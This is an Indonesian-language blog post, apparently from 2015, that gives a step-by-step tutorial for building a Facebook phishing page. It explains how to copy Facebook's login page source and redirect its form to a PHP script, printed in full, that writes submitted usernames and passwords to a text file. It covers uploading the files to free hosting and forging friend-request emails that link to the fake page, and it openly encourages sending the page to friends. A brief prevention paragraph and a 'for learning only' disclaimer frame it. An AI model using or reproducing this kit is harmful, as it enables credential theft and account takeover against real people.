Cara Bikin Pishing Cepat dan Mudah Tahun 2015

I.

Phising , adalah tindakan memperoleh informasi pribadi seperti Email, Password, User ID, PIN, nomor rekening bank, nomor kartu kredit Anda secara tidak sah. Informasi ini kemudian akan dimanfaatkan oleh pihak penipu untuk mengakses rekening, melakukan penipuan kartu kredit atau memandu nasabah untuk melakukan transfer ke rekening tertentu dengan iming-iming hadiah

II.

Bagaimana phishing dilakukan? Teknik umum yang sering digun

akan oleh penipu adalah sebagai berikut:

* Penggunaan alamat e-mail palsu dan grafik untuk menyesatkan user sehingga user terpancing menerima keabsahan e-mail atau web sites. Agar tampak meyakinkan, pelaku juga seringkali memanfaatkan logo atau merk dagang milik lembaga resmi, seperti; facebook, yahoo, bank atau penerbit lainnya. Pemalsuan ini dilakukan untuk memancing korban menyerahkan data pribadi, seperti; password, PIN dan nomor kartu kredit.

* Membuat situs palsu yang sama persis dengan situs resmi atau pelaku phishing mengirimkan e-mail yang berisikan link ke situs palsu tersebut.

* Membuat hyperlink ke web-site palsu atau menyediakan form isian yang ditempelkan pada e-mail yang dikirim.

Untuk pembelajaran saja...

======================================================

**Cara Membuat Phising (fake login) untuk mendapatkan UserID dan Password Target**

======================================================

1. buka http://www.facebook.com/login.php, lalu klik kanan pilih "view source". copy dan paste ke notepad. tekan ctrl+f kemudian Cari "action=" (tanpa quote) dan kita akan memulai editingnya. pada action="https://login.facebook.com/login.php" ubahlah menjadi action="next.php". dan ubah juga methode dari "POST" menjadi "get"

simpan notepad ini menjadi index.php (boleh juga html)

-----------

itu script untuk tampilan www.facebook.com di PC. silakan klik Download

Jika kamu ingin tampilan login fb di hp, silakan saja di m.facebook.com.

atau mungkin Antum ada yang pengen script tampilan fb berwarna, sprti contoh dibawah ini. :3

=========================

Mendaftar

Selamat datang di Facebook Mobile 2013. anda harus masuk dulu

Dapatkan Facebook Seluler dan menjelajah lebih cepat.

Email atau Telepon

Kata Sandi

---

Buat Akun Baru

Lupa kata sandi?
Pusat Bantuan

Bahasa Indonesia?.?English (US)?.?Espanol?.?Lainnya...

Facebook c 2015

FB SMS tanpa batas ketik FB kirim ke 32665</ a>

================

sama seperti cara diatas, save kedalam notepad dgn nama "index.php" / "index.html"

Lanjuttt........

2. buka notepad baru isikan script berikut :

--------------

Code: Select all

-----------

header("Location: https://facebook.com/login.php ");

$handle = fopen("terserahanda.txt", "a");

foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

-----------------

--> >> Simpan sebagai next.php atau "login.php"

---

3. Buka notepad lagi biarkan kosong, lalu simpan dng nama "terserahanda.txt".

----

4. Upload 3 file tersebut; "index.php, next.php, terserahanda.txt" kedalam hosting misalnya 110mb.com, spam.com, 007sites.com, atau di http://cpanel.idhostinger.com/auth

Silakan Download 3 script pesing fb warna.

----

Kalau kagak bisa cara bikin hosting upload 3 file tersebut, wahhh panjang lagi ceritanya.. xixi =D

kamu bisa pelajari caranya >> disini

kalau sudah bisa, silakan bikin pishingnya sesuai yang kamu mau..

OK,

Sekarang Kamu sudah punya phising page facebook tampilan PC dan tampilan m.fb warna.. sekarang, tinggal disebarkan ke teman2.. :3

4. Langkah-langkah spoofing. copy content asli undangan pertemanan dari facebook. edit hyperlink dari : "http:/www.facebook.com/n/?reqs.php" ganti dengan halaman phising anda, hal ini tidak akan merubah tampilan di content asli facebook tapi tetap mengarah ke halaman phising kamu.phising siap dikirim ke korban kamu.

=============== *PENCEGAHAN: ===============

III.

Mencegah phishing Jangan mudah terpancing untuk mengikuti arahan/petunjuk apapun sehubungan informasi data, rekening atau informasi penting lainnya, yang dianjurkan pada e-mail yang dilink ke situs tertentu. Jika Anda menerima e-mail sejenis ini dan mengatasnamakan Lembaga tertentu yang mencurigakan atau ASPAL, berhati-hatilah.

udah segitu aja dulu yak.. :v

semoga manfaat dan dapat dipertanggungjawabkan untuk pembelajaran saja..

-------------------------------

Dhani sugesti 2015

dhanisugesti.blogspot.com

------------------------------